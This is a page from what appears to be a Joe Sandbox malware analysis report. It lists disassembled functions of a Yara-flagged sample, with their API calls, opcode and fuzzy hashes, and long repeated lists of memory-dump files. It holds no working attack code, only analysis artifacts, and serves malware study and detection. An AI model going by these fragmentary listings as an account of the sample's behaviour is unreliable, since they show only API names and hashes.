Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3d5343cccaf1eadd3aad19dec075877c7bf0e989c4bf7cfaed1b9ddff7e2d4aa
Instruction ID: 9e869d8588138d838c1cecb154a1d7d70a688549bbdf3be58e4ee17da878637a
Opcode Fuzzy Hash: 3d5343cccaf1eadd3aad19dec075877c7bf0e989c4bf7cfaed1b9ddff7e2d4aa
Instruction Fuzzy Hash: 16916172A11149DBDB15FBA0DD94EEE7338AF24210F504169E587B7098EF386A4ECB70

Function 6C5E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5E5D40
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67
__aulldiv.LIBCMT ref: 6C5E5DB4
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction ID: e798aa0b1d1cc4aaac8381d7626a75b45f92e064b6acd14cbab22a46268d1013
Opcode Fuzzy Hash: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction Fuzzy Hash: 6E518071E001298FCF08DFA9C994AAEBBB1FB89308F59C62DD815A7750C7306945CB95

Function 6C5CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5CCF4E

Strings

0, xrefs: 6C5CCF30

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction ID: 22a27507fec910c1a6d49a513fbdd1f1d620b95f68c61cc3e39c63bc10340ae3
Opcode Fuzzy Hash: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction Fuzzy Hash: FC51F275A0022A8FCB01CF18C890A9ABBA5EF9A304F19869DD8595F351D731BD06CBE0

Function 01013560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 193dabab86f1aba60ce379931717561cfddd1c7ad0d0e9eafe2c197044007b59
Instruction ID: 6f0e678a163b6b0f140ae0aa74d580ed2cd3a55c3f882a9d6c6af626efc2ecdd
Opcode Fuzzy Hash: 193dabab86f1aba60ce379931717561cfddd1c7ad0d0e9eafe2c197044007b59
Instruction Fuzzy Hash: CB4130B5E10209EBDB04EFA5D845AEEB7B8BF58314F008418E4567B248DB79A605CFA1

Function 6C606470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6082BC,?,?), ref: 6C60649B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6064A9

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60653F
free.MOZGLUE(?), ref: 6C60655A

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction ID: f28aa407fd5ad1930689a588ff87d5370f63486f8983b03e8f4b04452c2a1b42
Opcode Fuzzy Hash: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction Fuzzy Hash: C03181B5A043159FC704DF14D884A9FB7E4FF89314F40842DE85A97740E730E919CB96

Function 6C5DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5DB4F5
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB502
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB542
free.MOZGLUE(?), ref: 6C5DB578

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction ID: 0aa01543cd5efc1e115fda6f95956db6f609de16d4790774c1994b4cb2cc4016
Opcode Fuzzy Hash: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction Fuzzy Hash: 3D11CD31A14B41C7D712EF2AD840765B3B2FFDA318F11D70AE84952A02FBB0B5C58B99

Function 01017980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E00,00000000,?), ref: 010179B0
RtlAllocateHeap.NTDLL(00000000), ref: 010179B7
GetLocalTime.KERNEL32(?,?,?,?,?,01020E00,00000000,?), ref: 010179C4
wsprintfA.USER32 ref: 010179F3

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 275ddb44922dc98fd834d95e80e9b887b986ea5addd27c62808f293c08ddd9c6
Instruction ID: b86148425e3e98c99c0206352b1f723a01599148b88b7e4a81a5e1ad0176d796
Opcode Fuzzy Hash: 275ddb44922dc98fd834d95e80e9b887b986ea5addd27c62808f293c08ddd9c6
Instruction Fuzzy Hash: EC113CB2944118ABDB14DFC9E949BBEB7F8FB4CB11F00421AF606A2284D3795940CBB0

Function 6C603DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5CF20E,?), ref: 6C603DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5CF20E,00000000,?), ref: 6C603DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C603E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C603E0E

Part of subcall function 6C5FCC00: GetCurrentProcess.KERNEL32(?,?,6C5C31A7), ref: 6C5FCC0D
Part of subcall function 6C5FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5C31A7), ref: 6C5FCC16

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction ID: 4740c3378b6dd68675c4aef7233efa983c337e17cb84dfd1064d8a43042d9b81
Opcode Fuzzy Hash: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction Fuzzy Hash: 3DF05E716002087FD704AB55DC81DAB376DEB86628F048020FD0957701D635BD198AFB

Function 010192E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(01013AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,01013AEE,?), ref: 010192FC
GetFileSizeEx.KERNEL32(000000FF,01013AEE), ref: 01019319
CloseHandle.KERNEL32(000000FF), ref: 01019327

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e5b3340aa195a55045f5bc8507a3767110e9dc443ed6141577896a3e9fff2beb
Instruction ID: e06e9dcce608b4a4f0eda0e60641af7010201b4a40a2ff762fb28660dd9dff1d
Opcode Fuzzy Hash: e5b3340aa195a55045f5bc8507a3767110e9dc443ed6141577896a3e9fff2beb
Instruction Fuzzy Hash: 52F04439E40204BBDB24DFB4EC59F9E77F9AB48710F10C154B552A72C4D67496018B40

Function 0101C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0101C74E

Part of subcall function 0101BF9F: __amsg_exit.LIBCMT ref: 0101BFAF

__getptd.LIBCMT ref: 0101C765
__amsg_exit.LIBCMT ref: 0101C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0101C797

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1ab3dba2439071e73d138ae1f32ea3aa70c77b57e53edd80e7ed969c9cd28d47
Instruction ID: da97d48406935c5f202cd96f7571c4fb1c602a5a7e344db3ad0f155758b93d69
Opcode Fuzzy Hash: 1ab3dba2439071e73d138ae1f32ea3aa70c77b57e53edd80e7ed969c9cd28d47
Instruction Fuzzy Hash: 00F0CD32A806129BE731BBB8550578D33A07F10724F20414CE0C4AB1C8CBAC98408B45

Function 6C5CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CBE8F

Strings

0, xrefs: 6C5CBE5B

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction ID: 6ca0be9ac8a86ac7e9436708ac653e1647efd08ebf6ed052f7376eb365350f6f
Opcode Fuzzy Hash: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction Fuzzy Hash: 9B41C271A09745CFC701EFB8C881A9BB7F4AF8A748F008A1DF995A7611D730D9498B83

Function 6C603CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603D19
mozalloc_abort.MOZGLUE(?), ref: 6C603D6C

Strings

d, xrefs: 6C603D58

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction ID: ea224d0d47a03b3e3ecc10e0dc7ee2d9f7926f2adc587a984dd2c89338b3450c
Opcode Fuzzy Hash: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction Fuzzy Hash: D4110431F04688DBDB08DF6AC9548EDB7B5EF86319F44D228DC49A7642FB30A584C358

Function 6C626DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C626E22
__Init_thread_footer.LIBCMT ref: 6C626E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C626E1D

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
